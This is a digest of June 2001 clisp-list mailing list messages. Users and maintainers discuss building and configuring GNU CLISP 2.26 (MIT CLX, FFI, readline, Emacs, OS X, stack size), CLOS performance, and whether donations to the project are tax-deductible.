| contributions offered after this one, with my limit being 50 dollars.
| If five others don't step forward with some sort of contribution, my
| contribution is 0.

I'll chip in as well with the same terms as Lyn suggests, if someone 
devices a suitable payment-model.  A community-effort which reminds
me slightly of Rousseau appeals to me :-)

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On 08 Jun 2001 14:17:43 -0500, Lyn A Headley <laheadle@cs.uchicago.edu>
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> don't think I haven't thought about that :-) This is actually an
> example of a type of problem that i'm very interested in and haven't
> seen much talk of, problems where communities make decisions in which
> each individual's choice is motivated by the choices of others.  I

What about the stock market?


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On 08 Jun 2001 13:08:17 -0400, Sam Steingold <sds@gnu.org> wrote:

> the latest patch should fix this and some other problems.
> mit-clx now builds for me.

With your latest patch I am able to correctly build MIT CLX. Thanks,


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Hi,

I would like to some how get a bidirectional stream with element type 
(unsigned-byte 8) connected to the process standard input and output 
(unix file descriptors 0 and 1).

The OS is unix (Linux, Darwin, etc.) and the purpose is to make a server 
that is started by inetd.

Any other ideas how to use CLISP with inetd is also welcome.

//Lennart Staflin



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On 08 Jun 2001 13:08:17 -0400, Sam Steingold <sds@gnu.org> wrote:

> the latest patch should fix this and some other problems.
> mit-clx now builds for me.

Although it is now possible to build MIT CLX, it apparently exports only a
handful of symbols from the XLIB package:

[~]$ clisp-clx
  i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
  I I I I I I I      8     8   8           8     8     o  8    8
  I  \ `+' /  I      8         8           8     8        8    8
   \  `-+-'  /       8         8           8      ooooo   8oooo
    `-__|__-'        8         8           8           8  8
        |            8     o   8           8     o     8  8
  ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
Copyright (c) Bruno Haible, Sam Steingold 1999-2001

;; Loading file /home/paolo/.clisprc ...
;; Loading of file /home/paolo/.clisprc is finished.
[1]> (lisp-implementation-version)
"2.26 (released 2001-05-23) (built 3200841159) (memory 3201068271)"
[2]> *features*
(:CLX-MIT-R5 :CLX-MIT-R4 :XLIB :CLX :CLX-LITTLE-ENDIAN
 :HAVE-WITH-STANDARD-IO-SYNTAX :HAVE-CLCS :HAVE-DECLAIM
 :HAVE-PRINT-UNREADABLE-OBJECT :CLOS :LOOP :COMPILER :CLISP :ANSI-CL
 :COMMON-LISP :LISP=CL :INTERPRETER :SOCKETS :GENERIC-STREAMS
 :LOGICAL-PATHNAMES :FFI :GETTEXT :UNICODE :BASE-CHAR=CHARACTER :SYSCALLS
 :PC386 :UNIX)
[3]> (list-all-packages)
(#<PACKAGE GSTREAM> #<PACKAGE GRAY> #<PACKAGE I18N> #<PACKAGE SOCKET>
 #<PACKAGE POSIX> #<PACKAGE FFI> #<PACKAGE SCREEN> #<PACKAGE CUSTOM>
 #<PACKAGE EXT> #<PACKAGE CLOS> #<PACKAGE CHARSET> #<PACKAGE KEYWORD>
 #<PACKAGE SYSTEM> #<PACKAGE COMMON-LISP-USER> #<PACKAGE COMMON-LISP>
 #<PACKAGE XLIB>)
[4]> (do-external-symbols (symbol "XLIB") (print symbol))

XLIB:DESCRIBE-REPLY 
XLIB:SUSPEND-DISPLAY-TRACING 
XLIB:DESCRIBE-TRACE 
XLIB:DESCRIBE-EVENT 
XLIB:DESCRIBE-ERROR 
XLIB:UNTRACE-DISPLAY 
XLIB:DESCRIBE-REQUEST 
XLIB:DISPLAY-TRACE 
XLIB:TRACE-DISPLAY 
XLIB:SHOW-TRACE 
XLIB:RESUME-DISPLAY-TRACING 
NIL
[5]> 


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Does a math library exists to convert integers to and from Gary's binary
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> * In message <FuIjO8vlYG00RJLGbVp9Uh9mDsD9@4ax.com>
> * On the subject of "Re: [clisp-list] Error building MIT CLX under Linux"
> * Sent on Mon, 11 Jun 2001 09:46:23 +0200
> * Honorable Paolo Amoroso <amoroso@mclink.it> writes:
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> Although it is now possible to build MIT CLX, it apparently exports
> only a handful of symbols from the XLIB package:

should be finally fixed.
thanks!

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Is this approprate forum for discussing the
porting of FFI?  I compiled *-rs6000.c into
.s files; after a certain amount of hand work.
It now fails the tests for float and 'long long'.
I think what I need to make progress is somebody
who thinks they know what their doing :-); or
somebody who knows were in the cc sources the
argument passing is documented.

You have to compile three files into assembler
versions; ala:
  cc- S -o avcall-rs6000-darwin.s -O -traditional-cpp avcall-rs6000.c
and modify the Makefile.in to include a clause
to use those .s file.s

It then chokes when you makemake --with-dynamic-ffi
and it gets into some testing.

  - ben


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Hi everyone,

I have just installed CLISP version: "2.25 (released 2001-03-15) (built 
3195500178) (memory 3200321124)" on my Win98 machine.

I installed the gnu readline library, but it appears that I do not have 
readline capability. What have I done wrong? Do I need to reinstall CLISP?

On a related note, what is the friendliest interface to clisp under win98. 
I am accustomed to using Allegro Common Lisp vi emacs on a Unix machine. 
I'd love to work with clisp via emacs also, but I could use some assistance 
in getting that to work.

Thanks in advance.

-bruce


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It occurs to me that those of us who donate to the MT project would
benefit (and might even pass that benefit on) if we could make the
donations deductible.  Does anyone out there know of a way to do this?

I think what we want is an already non-profit organization that is
willing to accept our donations and apply them to this project.  I did
ask linuxfund and the answer was no, donations are not currently
deductible and no, they don't currently accept donations for
particular projects.


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> * In message <200106111854.f5BIsXv03088@isis.compsvcs.com>
> * On the subject of "[clisp-list] CLISP MT - donations tax deductible?"
> * Sent on Mon, 11 Jun 2001 11:54:33 -0700 (PDT)
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>
> It occurs to me that those of us who donate to the MT project would
> benefit (and might even pass that benefit on) if we could make the
> donations deductible.  Does anyone out there know of a way to do this?

since CLISP is actually "GNU CLISP" now, maybe FSF could do that?

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Volunteers are needed to make SWIG (http://www.swig.org/) support CLISP FFI
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Don Cohen wrote:
 > It occurs to me that those of us who donate to the MT project would
 > benefit (and might even pass that benefit on) if we could make the
 > donations deductible.  Does anyone out there know of a way to do this?
 > 
 > I think what we want is an already non-profit organization that is
 > willing to accept our donations and apply them to this project.  I did
 > ask linuxfund and the answer was no, donations are not currently
 > deductible and no, they don't currently accept donations for
 > particular projects.

As a former board member of a nonprofit, but certainly not as 
an expert...

First off I'll note for some of our international readers that
for Americans $ given to a IRS registered nonprofit is before 
taxes while money given otherwise is not.  For example 100$
given to my community theater costs me 100$, while 100$ given
to my school's registered parent's org. costs me more like 
really only 70$.

Secondly non-profits are not allowed to be money laundering operations.
So if I go to my school and say here is 100$ for: "My son's fourth
grade can buy film for their camera so he can do his class project" they
can not, strictly speaking, accept it under those terms without running
the risk of getting in trouble.  Since the IRS has far better things to
do with their time though.  This is dangerous turf because it can make
the various subfactions of a nonprofit get all territorial; "Our friends
gave that money so we should get it."

 - ben


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Don,

In the U.S.A., anyway, tax-exempt status is covered under section 501 and 
509 of the IRS code. E.g., tax-exempt charities are covered under 
501(c)(3). If the organization has not formally applied for and acquired 
the appropriate status with the IRS, then contributions thereto are not tax 
deductible.

The FSF is tax-exempt and deductions to it are tax-deductible. (From the 
home page: "The Free Software Foundation is a tax-exempt charity that 
raises funds for work on the GNU Project"). I could not readily find there 
IRS-assigned organization identification code, but surely they'd supply it 
on request.

Is there actually an organization called "Cons.org?" Judging from the home 
page (<http://www.cons.org/>) the answer is no, it's Martin Cracauer's 
personal project.

Similarly, I see no indication that SourceForge is a tax-exempt organization.

I'm not sure which organization would be considered the recipient of the 
any funds collected to support adding MT to CLISP. If they're going 
directly to the individual doing the work, I don't even think it's 
possible. If it were going through a tax-exempt organization such as the 
FSF and that organization were then employing the individual (or 
organization) doing the programming work, then even though the contribution 
would be tax-deductible by the contributor, the employer (e.g. FSF) would 
have to do all the usual tax business (withholding, reporting, etc.).

All in all, I'm not sure this will fly or whether it would be worth the 
trouble. But then again, you can always put it on your tax form and hope it 
isn't noticed or challenged. That is the American Way, after all ("It's 
only illegal if you get caught." or that famous school yard taunt, "It's a 
free country.").

Standard Disclaimer: I AM NOT A LAWYER, tax or otherwise.

Nor do I mean to presume that the individuals or organizations involved are 
in the U.S.A.

Randall Schulz
Mountain View, CA USA


At 11:54 2001-06-11, Don Cohen wrote:

>It occurs to me that those of us who donate to the MT project would
>benefit (and might even pass that benefit on) if we could make the
>donations deductible.  Does anyone out there know of a way to do this?
>
>I think what we want is an already non-profit organization that is
>willing to accept our donations and apply them to this project.  I did
>ask linuxfund and the answer was no, donations are not currently
>deductible and no, they don't currently accept donations for
>particular projects.



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> * In message <5.0.2.1.0.20010611123846.0214c380@tigger.cc.uic.edu>
> * On the subject of "[clisp-list] editor/interface to CLISP under Win98"
> * Sent on Mon, 11 Jun 2001 12:42:37 -0500
> * Honorable Bruce Lambert <lambertb@uic.edu> writes:
>
> I have just installed CLISP version: "2.25 (released 2001-03-15) (built
> 3195500178) (memory 3200321124)" on my Win98 machine.

you are two versions behind - please get 2.26.

> I installed the gnu readline library, but it appears that I do not
> have readline capability. What have I done wrong? Do I need to
> reinstall CLISP?

CLISP does not use readline on win32.
winnt console has line editing facilities, otherwise you are out of luck
(barring fixing this yourself :-)

> On a related note, what is the friendliest interface to clisp under
> win98. I am accustomed to using Allegro Common Lisp vi emacs on a Unix
> machine. I'd love to work with clisp via emacs also, but I could use
> some assistance in getting that to work.

I use GNU Emacs with CLISP.

(setq inferior-lisp-program
      "d:/gnu/clisp/lisp.exe -B d:/gnu/clisp -M d:/gnu/clisp/lispinit.mem -I"
      lisp-indent-function 'common-lisp-indent-function
      inferior-lisp-prompt "^[^> \n]*[>:]+ *")

Some people use ILISP.  I do not since it rebinds some standard keys:
e.g., "]" does not self-insert anymore!

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On 11 June 2001, Sam Steingold <sds@gnu.org> wrote:
> Volunteers are needed to make SWIG (http://www.swig.org/) support CLISP FFI
> http://sourceforge.net/tracker/?func=detail&atid=351645&aid=429122&group_id=1645

Sam,

To your knowledge, has anybody written a set of GTK+ bindings for CLISP?
If so, what about GLADE?

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Sam and others:

First of all, thanks for the pointers about editors under win98. Now I've 
upgraded to 2.26 and I am running into a stack overflow problem. The 
program extracts and sorts word n-grams with a variable window. I ran the 
program under ACL and I got the following results for time/space:

cl-user(8): (time (main-extract-bigrams "cpmathsci-turns.txt"
"cpmathsci-trigrams.txt" "stop.wrd" 3 5))


Reading turns from file.
Read 36318 turns.
Extracting windowed bigrams from each turn.
9701824 bytes have been tenured, next gc will be global.
See the documentation for variable *global-gc-behavior* for more information.
9430232 bytes have been tenured, next gc will be global.
See the documentation for variable *global-gc-behavior* for more information.

Ranking bigrams by frequency.
; cpu time (non-gc) 67,330 msec (00:01:07.330) user, 350 msec system
; cpu time (gc)     20,730 msec user, 180 msec system
; cpu time (total)  88,060 msec (00:01:28.060) user, 530 msec system
; real time  89,281 msec (00:01:29.281)
; space allocation:
;  7,398,544 cons cells, 95,625,640 other bytes, 0 static bytes

When I run it under clisp-2.26, I get a stack overflow error as follows:

*** - Program stack overflow. RESET
Real time: 32.24 sec.
Run time: 32.24 sec.
Space: 46003476 Bytes
GC: 24, GC time: 5.65 sec.

What can I do to increase my stack size or otherwise manage this memory 
problem?

-bruce



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> * In message <5.0.2.1.0.20010611152714.022812f0@tigger.cc.uic.edu>
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> * Sent on Mon, 11 Jun 2001 15:36:49 -0500
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> *** - Program stack overflow. RESET

try

editbin /stack:<N> lisp.exe

where <N> is a large enough number (default is 3145728).

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> * In message <15141.9724.372959.703087@sif.musiciansfriend.com>
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> To your knowledge, has anybody written a set of GTK+ bindings for
> CLISP?
http://www.uni-karlsruhe.de/~unk6/export/cl-gtk-1999-01-19.tar.gz

> If so, what about GLADE?
nope.

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On Mon, Jun 11, 2001 at 01:11:40PM -0700, Erik Arneson wrote:

> Sam,
> 
> To your knowledge, has anybody written a set of GTK+ bindings for CLISP?
> If so, what about GLADE?

Hi,

There are bindings, but they didn't work, last I tried (sorry, I can't
even remember where I found them - a search should find them
eventually).

On Linux, it is possible to compile CLISP as a GTK program, by putting
in a call to gtk_init() after main. (Do this in src/spvw.d.)  With a
CLISP compiled like this, you can write external GTK functions in C,
and compile them into CLISP with clisp-link.  I used GLADE to generate
C stubs, and then wrote a few simple FFI lisp functions to
call/manipulate the GTK functions.

I was only playing around, so I don't know how robust this method
would be.  Also, having to arse around with GLADE and C is not that
much fun.  However, I was able to run a simple repl in a GTK window
with some simple editing functions.  I repeat - I was only playing
around, and it was enough work that it would probably be better to
just write GTK bindings from scratch.

Regards,
Peter


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Hi

I've written some functions which extend Readline to do lisp
indentation.  I put these functions in spvw.d before main(), and the
calls to readline (rl_add_defun) to register the functions after main.
They work ok, but my question is, is spvw.d a suitable place for this
sort of thing?  If they should go elsewhere, where would that be?

Regards,
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On 11 Jun 2001 11:28:50 -0400, Sam Steingold <sds@gnu.org> wrote:

> should be finally fixed.

Now MIT CLX works--really--fine. Thanks,


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> * In message <20010612095702.B171@localhost.localdomain>
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> I've written some functions which extend Readline to do lisp
> indentation.

what exactly do they do?
TAB does completion, so it cannot indent (like in Emacs).
You mean, indentation on RET?

> I put these functions in spvw.d before main(), and the calls to
> readline (rl_add_defun) to register the functions after main.  They
> work ok, but my question is, is spvw.d a suitable place for this sort
> of thing?  If they should go elsewhere, where would that be?

stream.d, near init_streamvars(), is probably better.

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> Date: Mon, 11 Jun 2001 15:36:49 -0500
> To: clisp-list@sourceforge.net
> From: Bruce Lambert <lambertb@uic.edu>
> Subject: [clisp-list] how to avoid stack overflow error?
> 
> [...]
> 
> When I run it under clisp-2.26, I get a stack overflow error as follows:
> 
> *** - Program stack overflow. RESET
> Real time: 32.24 sec.
> Run time: 32.24 sec.
> Space: 46003476 Bytes
> GC: 24, GC time: 5.65 sec.
> 
> What can I do to increase my stack size or otherwise manage this memory 
> problem?


Did you try compiling your program? (compile-file "filename") or use the -C
(load-compiling) commandline switch. This doesn't increase the stack, but it
does some optimizations that may help your problem.

g


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I just tried my CLOS-application in the new release and it conses a lot
although I wouldn't cons at all in Clisp 2000-03-06.

I know that it is quite normal that clos starts consing but normally after 
a while (a methods called)
stops doing so

The problem is not only the consing, also the runtime doubled (even without gc)

Platform is Windows ME, both with distributed version and cygwin self 
compiled version

The following test exposes the problem:

(defclass root ()
(
(some-slot :initform nil :accessor root-some-slot)
)
)

(defmethod test-method ((me root))
(setf (root-some-slot me) 23))

(defclass medium (root)
(
(other-slot :initform nil :accessor medium-other-slot)
)
)

(defmethod test-method ((me medium))
(call-next-method)
(setf (medium-other-slot me) 42))

(defclass leaf (medium)
(
(last-slot :initform nil :accessor leaf-last-slot)
)
)

(defmethod test-method ((me leaf))
(call-next-method)
(setf (leaf-last-slot me) 15))

(defun test ()
(let ((was (make-instance 'leaf)))
(dotimes (x 100)
(test-method was))
(time (test-method was))
23)) 



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On Tue, Jun 12, 2001 at 12:01:56PM -0400, Sam Steingold wrote:
> > * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
> >
> > I've written some functions which extend Readline to do lisp
> > indentation.
> 
> what exactly do they do?
> TAB does completion, so it cannot indent (like in Emacs).
> You mean, indentation on RET?

No, I didn't want to mess around with RET, so I have made
lisp-indentation bindable to any of Readline's key sequences via
.inputrc. I am using ESC/ALT-i to indent, ESC-p to move up one virtual
line, and ESC-d to move down.

It's not "real" indentation, since it works by appending the correct
number of spaces to put the cursor in the position which TAB would do
in Emacs.  It represents Readline's 'physical' line as many virtual
lines of COLUMNS length, ie, a 'virtual' buffer.  It works because the
lisp reader ignores extra space. [ '(defun foo' and '( defun  foo    '
are the same thing.]

This means that automatic re-indenting after an xterm resize would be
tricky (to do properly).  However, It seems to work fine without
resizing, and in the console.  And it makes it *much* more readable.

I will try putting them in stream.d, as you suggest.

Regards,
Peter



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> * In message <200106091940.VAA10994@mail50.fg.online.no>
> * On the subject of "[clisp-list] standard in/out as binary streams"
> * Sent on Sat, 9 Jun 2001 20:59:37 +0200
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> I would like to some how get a bidirectional stream with element type
> (unsigned-byte 8) connected to the process standard input and output
> (unix file descriptors 0 and 1).

I am not sure if it answers your question, but STREAM-ELEMENT-TYPE is
setf-able in CLISP, see <http://clisp.cons.org/impnotes.html>.

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I installed win32-2-26.zip on my Windows 2000 PC, unzipped the file using
PowerDesk, but when I try to run lisp.exe (size 2,215,936 bytes) Windows
2000 tells me that this is not a valid executable. Does this version of
CLISP run on Windows 2000?

Merci!

Jean Gascon


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I tried installing clisp 2.26 on my Redhat 6.2 Linux box and when making
the lispinit.mem I got
the following error:

./lisp.run -m 1000KW -M interpreted.mem -B . -N locale -Efile UTF-8
-norc -q -c foreign.lisp

Compileing file /home/percious/clisp-2.26/with-gcc-wall/foreign1.lisp
...
*** -  There is no package with name "FFI"
make: *** [foreign.fas] Error 1



any ideas?

thanks,

chris perkins



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Jean,

I had no trouble installing, configuring and runing 2.26 on my Windows 2000 
Professional.

I you have Cygwin, could you run "sum" on your lisp.exe to make sure there 
was no corruption? My executable's size matches what you report. Here's the 
checksum on it:

% sum lisp.exe
33463  2164

Randall Schulz
Mountain View, CA USA


At 11:44 2001-06-15, Jean Gascon wrote:
>I installed win32-2-26.zip on my Windows 2000 PC, unzipped the file using
>PowerDesk, but when I try to run lisp.exe (size 2,215,936 bytes) Windows
>2000 tells me that this is not a valid executable. Does this version of
>CLISP run on Windows 2000?
>
>Merci!
>
>Jean Gascon



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> * In message <3B2A61EE.D2CC0431@uconn.edu>
> * On the subject of "[clisp-list] Install error"
> * Sent on Fri, 15 Jun 2001 15:28:46 -0400
> * Honorable Christopher Perkins <cmp96002@uconn.edu> writes:
>
> *** -  There is no package with name "FFI"
> make: *** [foreign.fas] Error 1

get the "no-ffi" patch from the same place you got your sources.

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Thanks for your help!  It's been a learning experience -- I didn't
know what "patch" was before this, or what I should be patching.  But
the build succeeded, and both "make test" and "make testsuite" passed.

Before I "make install" I just started wondering whether I should
have used the other patches as well.  I got clisp-2.26.tar.gz from
the WWW sources directory, and I only applied the "no-ffi" patch --
and that only because the build failed.

Are the other patches needed?  And if I apply them, do I again
patch src/makemake.in, or some other file?

Incidentally, I ignored the unix/PLATFORMS advice that said to
remove optimization from the compile flags (-O, -O2) for Mac OS X.
I used the stock tcsh, and increased the stacksize to 8192 via
the commands unlimit and limit (inspired by the PLATFORMS advice,
but slightly different).

Thanks,

David

On 8 Jun 2001, Sam Steingold wrote:

> > * In message <Pine.GSO.4.21.0106071836330.12189-100000@nova10.cs.wisc.edu>
> > * On the subject of "Re: [clisp-list] clisp for OSX?"
> > * Sent on Thu, 7 Jun 2001 19:01:53 -0500 (CDT)
> > * Honorable "David J. Finton" <finton@cs.wisc.edu> writes:
> >
> > Compiling file /private/var/tmp/lisp/clisp-2.26/build-june7/foreign1.lisp
> > ....
> > *** - There is no package with name "FFI"
> > make: *** [foreign1.fas] Error 1
> > [localhost:lisp/clisp-2.26/build-june7] root# 
> > 
> > Any advice on where to go from here?
> 
> please get the "no-ffi" patch from the same place you got your sources,
> then reconfigure and rebuild.
> 
> -- 
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Hi

I have a patch for stream.d which enables lisp indentation for CLISP
(with Readline) on a console or xterm (can be resized).  It seems to
be working fine, although it's 'experimental'.

Its also available as a standalone program so it can be tested without
hacking your CLISP.

Is anyone interested?

Regards,
Peter


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> * In message <Pine.GSO.4.21.0106151652220.11928-100000@nova10.cs.wisc.edu>
> * On the subject of "Re: [clisp-list] clisp for OSX?"
> * Sent on Fri, 15 Jun 2001 17:02:38 -0500 (CDT)
> * Honorable "David J. Finton" <finton@cs.wisc.edu> writes:
>
> Thanks for your help!  It's been a learning experience -- I didn't
> know what "patch" was before this, or what I should be patching.  But
> the build succeeded, and both "make test" and "make testsuite" passed.

great!

> Before I "make install" I just started wondering whether I should
> have used the other patches as well.  I got clisp-2.26.tar.gz from
> the WWW sources directory, and I only applied the "no-ffi" patch --
> and that only because the build failed.

probably not - but see DIFF-README in the same directory as the patches.

> Incidentally, I ignored the unix/PLATFORMS advice that said to
> remove optimization from the compile flags (-O, -O2) for Mac OS X.

interesting - what C compiler did you use?
cc --version?
clisp (software-type) and (software-version)?

Thanks!

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> * In message <20010616091313.A2864@localhost.localdomain>
> * On the subject of "[clisp-list] lisp indent on console/xterm"
> * Sent on Sat, 16 Jun 2001 09:13:13 +0200
> * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
>
> I have a patch for stream.d which enables lisp indentation for CLISP
> (with Readline) on a console or xterm (can be resized).  It seems to
> be working fine, although it's 'experimental'.
> 
> Its also available as a standalone program so it can be tested without
> hacking your CLISP.

I would like to see it.
If you release it under GPL, we might even include it in CLISP.

-- 
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> * In message <5.1.0.14.0.20010612232016.009f3ec0@pop3.terra.es>
> * On the subject of "[clisp-list] Clisp 2.26 Clos consing?"
> * Sent on Tue, 12 Jun 2001 23:28:08 +0200
> * Honorable Karsten <vs1100@terra.es> writes:
>
> I just tried my CLOS-application in the new release and it conses a lot
> although I wouldn't cons at all in Clisp 2000-03-06.

Yes, this was (unintentionally) caused by the 2000-06-11 patch (see
src/ChangeLog).  We hope to fix this.  Thanks for the bug report.

-- 
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Thanks again.  Here's some info for this data point:

On 16 Jun 2001, Sam Steingold wrote:

> > Incidentally, I ignored the unix/PLATFORMS advice that said to
> > remove optimization from the compile flags (-O, -O2) for Mac OS X.
> 
> interesting - what C compiler did you use?
> cc --version?
> clisp (software-type) and (software-version)?

[localhost:tmp/lisp/clisp-2.26] root# cc --version
2.95.2

clisp says:

[1]> (lisp-implementation-version)
"2.26 (released 2001-05-23) (built 3201629965) (memory 3201630586)"
[2]> (machine-version)
"POWER MACINTOSH"
[3]> (software-version)
"GNU C 2.95.2 19991024 (release)"
[4]> (system::version)
(20010503)
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"ANSI C program"

This is on a G4 running OS X, version 10.0.3.

--David Finton




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I am trying to build ilisp so that I can run CLISP as a subprocess of XEmacs
21.4.3. The ilisp build directory does not include the file comint.el (and
yet it tries to load it) because, as I understand it, comint.el (command
interpreter) is specific to each version of Emacs. Comint-v18.el (for
version 18 of emacs) is provided however. I looked under the sources of
XEmacs 21.4.3 and did not find any comint file. Where is it?

Thanks!



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Jean Gascon wrote:

> I am trying to build ilisp so that I can run CLISP as a subprocess of XEmacs
> 21.4.3. The ilisp build directory does not include the file comint.el (and
> yet it tries to load it) because, as I understand it, comint.el (command
> interpreter) is specific to each version of Emacs. Comint-v18.el (for
> version 18 of emacs) is provided however. I looked under the sources of
> XEmacs 21.4.3 and did not find any comint file. Where is it?

'comint.el(c)' comes with (X)Emacs distribution. On Debian/GNU system
they are "/usr/share/emacs/20.7/lisp/comint.el(c)' and
'/usr/share/xemacs21/packages/lisp/xemacs-base/comint.elc'.

You can use "locate 'comint.el'" to find them.

Best!

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I have rebuilt the latest version of clisp on OSX as well, can 
can confirm David's observations. The only thing I had to do was 
change the stack size to 8MB. Otherwise everything went smoothly.

I think the unix/PLATFORMS file needs an entry explicitly 
devoted to OS X, as opposed to the now out-of-date entry for OS 
X server. My guess is that the server would behave similarly 
now, though someone would actually have to confirm this :-)

Sunil

On Monday, June 18, 2001, at 04:00 PM, David J. Finton wrote:

> Thanks again.  Here's some info for this data point:
>
> On 16 Jun 2001, Sam Steingold wrote:
>
>>> Incidentally, I ignored the unix/PLATFORMS advice that said to
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>>
>> interesting - what C compiler did you use?
>> cc --version?
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>
> [localhost:tmp/lisp/clisp-2.26] root# cc --version
> 2.95.2
>
> clisp says:
>
> [1]> (lisp-implementation-version)
> "2.26 (released 2001-05-23) (built 3201629965) (memory 3201630586)"
> [2]> (machine-version)
> "POWER MACINTOSH"
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Hi,

I think I have uncovered a little bug in clisp. Although I have 
not tried this in any other implementation, everything I know 
about lisp tells me it is a genuine bug. The bad news is, I'm 
not sure how to go about debugging the beast. I'm open to ideas, 
and I will think about it a little myself.

This is what's happening. I have a closure that is constructed 
in the course of running a program. The closure calls another 
function, LOCATION-OPEN-P. I trace this function, but clisp 
doesn't report it called. The closure simply returns nil. Here's 
the sequence of interactions:

DESIM[83]> (trace location-open-p)
;; Tracing function LOCATION-OPEN-P.
(LOCATION-OPEN-P)
DESIM[84]> closure
#<CLOSURE :LAMBDA (THIS-EVENT EVENT TUNNEL)
   (DECLARE (IGNORE THIS-EVENT EVENT) (LOCATION-OPEN-P TUNNEL ROW 
COLUMN))>
DESIM[85]> (funcall closure nil nil *the-tunnel*)
NIL

I just downloaded and installed the newest version of clisp.

Any ideas?

Sunil


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Sunil Mishra wrote:

> Hi,
> 
[...]
> DESIM[83]> (trace location-open-p)
> ;; Tracing function LOCATION-OPEN-P.
> (LOCATION-OPEN-P)
> DESIM[84]> closure
> #<CLOSURE :LAMBDA (THIS-EVENT EVENT TUNNEL)
>   (DECLARE (IGNORE THIS-EVENT EVENT) (LOCATION-OPEN-P TUNNEL ROW COLUMN))>
> DESIM[85]> (funcall closure nil nil *the-tunnel*)
> NIL
> 
> I just downloaded and installed the newest version of clisp.
> 
> Any ideas?


Probably you've misplaced the right parenthesis after declare ignore.
The following transcript may be helpful. If it does not help, show us
your definiton of the closure.

[2]> (defun my-double (x y) (declare (ignore y)) (+ x x))
MY-DOUBLE
[11]> my-double
*** - EVAL: variable MY-DOUBLE has no value
1. Break [12]> 
[13]> (symbol-function 'my-double)
#<CLOSURE MY-DOUBLE (X Y) (DECLARE (SYSTEM::IN-DEFUN MY-DOUBLE) (IGNORE Y)) (BLOCK MY-DOUBLE (+ X X))>
[14]> (my-double 12 'x)
24
[15]> 

--
The Least Perceptive Literary Critic
	The most important critic in our field of study is Lord Halifax.  A most
individual judge of poetry, he once invited Alexander Pope round to give
a public reading of his latest poem.
	Pope, the leading poet of his day, was greatly surprised when Lord
Halifax stopped him four or five times and said, "I beg your pardon, Mr.
Pope, but there is something in that passage that does not quite please me."
	Pope was rendered speechless, as this fine critic suggested sizeable and
unwise emendations to his latest masterpiece.  "Be so good as to mark
the place and consider at your leisure.  I'm sure you can give it a
better turn."
	After the reading, a good friend of Lord Halifax, a certain Dr.
Garth, took the stunned Pope to one side.  "There is no need to touch
the lines," he said.  "All you need do is leave them just as they are,
call on Lord Halifax two or three months hence, thank him for his kind
observation on those passages, and then read them to him as altered.  I
have known him much longer than you have, and will be answerable for the
event."
	Pope took his advice, called on Lord Halifax and read the poem
exactly as it was before.  His unique critical faculties had lost none
of their edge.  "Ay", he commented, "now they are perfectly right.
Nothing can be better."
		-- Stephen Pile, "The Book of Heroic Failures"




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Duh... I think I'll go hide in a corner now...

Thanks for spotting that.

Sunil

On Tuesday, June 19, 2001, at 01:20 AM, Bruce wrote:
>
> Probably you've misplaced the right parenthesis after declare ignore.
> The following transcript may be helpful. If it does not help, show us
> your definiton of the closure.
>
> [2]> (defun my-double (x y) (declare (ignore y)) (+ x x))
> MY-DOUBLE
> [11]> my-double
> *** - EVAL: variable MY-DOUBLE has no value
> 1. Break [12]>
> [13]> (symbol-function 'my-double)
> #<CLOSURE MY-DOUBLE (X Y) (DECLARE (SYSTEM::IN-DEFUN MY-DOUBLE) 
> (IGNORE Y)) (BLOCK MY-DOUBLE (+ X X))>
> [14]> (my-double 12 'x)
> 24
> [15]>
>
> --
> The Least Perceptive Literary Critic
> 	The most important critic in our field of study is Lord 
> Halifax.  A most
> individual judge of poetry, he once invited Alexander Pope 
> round to give
> a public reading of his latest poem.
> 	Pope, the leading poet of his day, was greatly surprised when Lord
> Halifax stopped him four or five times and said, "I beg your 
> pardon, Mr.
> Pope, but there is something in that passage that does not 
> quite please me."
> 	Pope was rendered speechless, as this fine critic suggested 
> sizeable and
> unwise emendations to his latest masterpiece.  "Be so good as to mark
> the place and consider at your leisure.  I'm sure you can give it a
> better turn."
> 	After the reading, a good friend of Lord Halifax, a certain Dr.
> Garth, took the stunned Pope to one side.  "There is no need to touch
> the lines," he said.  "All you need do is leave them just as they are,
> call on Lord Halifax two or three months hence, thank him for his kind
> observation on those passages, and then read them to him as altered.  I
> have known him much longer than you have, and will be 
> answerable for the
> event."
> 	Pope took his advice, called on Lord Halifax and read the poem
> exactly as it was before.  His unique critical faculties had lost none
> of their edge.  "Ay", he commented, "now they are perfectly right.
> Nothing can be better."
> 		-- Stephen Pile, "The Book of Heroic Failures"
>
>
>
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Dear clisp users,
     I am a clisp 2.26 newbie. I've been using it a few months to
prototype some statistical analysis algorithms on a WinNT machine.
I am VERY impressed with its compliance with CLtL-2. I have a few
questions concerning use of the shell interface (the ext: package).
     Both (ext:shell "graftabl.com") and (ext:execute "graftabl.com")
produce the same output ("graftabl.com" is an obsolete MS-DOS tool still
found in the System32 directory -- i just use it as a simple test case to
verify
that ext:shell can find and launch a program).  However, (ext:shell
"graftabl")
produces a file-not-found error; I would have expected that DOS command
extension rules (.EXE, .COM, .BAT) to be obeyed on a Win32 implmentation,
but they are not. Why not? Is there a way to get this to work?
     Likewise, (ext:shell "set") also produces a file-not-found error;
in this case "set" is not a file, but a DOS CMD shell built-in. How do i
execute
CMS shell built-in commands?
     I prefer to use Cygwin bash shell as my command interpretter.
How do I get clisp to use bash? The implementation documentation says
that on UNIX boxes setting the SHELL environment variable works. Does this
also work in WinNT? Actually, i would prefer to  set a lisp special
variable,
say (setq ext:*shell" #P"D:\\cygwin\bin\bash.exe"), and be able to switch
command interpretters under program control, but (describe ext:*shell*)
didn't find that symbol-name.
     I realize this is an obscure, specialized question, but all advice is
appreciated.
thanks
Jeff Lankford



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On fredag, juni 15, 2001, at 06:45 , Sam Steingold wrote:

>
> I am not sure if it answers your question, but STREAM-ELEMENT-TYPE is
> setf-able in CLISP, see <http://clisp.cons.org/impnotes.html>.

Yes, possibly. The *terminal-io* stream seems to be the standard in/out, 
but for this
particular stream i get:
*** - (SETF STREAM-ELEMENT-TYPE) on #<TERMINAL-STREAM> is illegal

//Lennart


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> * In message <200106202031.WAA04860@mail44.fg.online.no>
> * On the subject of "Re: [clisp-list] standard in/out as binary streams"
> * Sent on Wed, 20 Jun 2001 22:31:38 +0200
> * Honorable Lennart Staflin <lenst@online.no> writes:
>
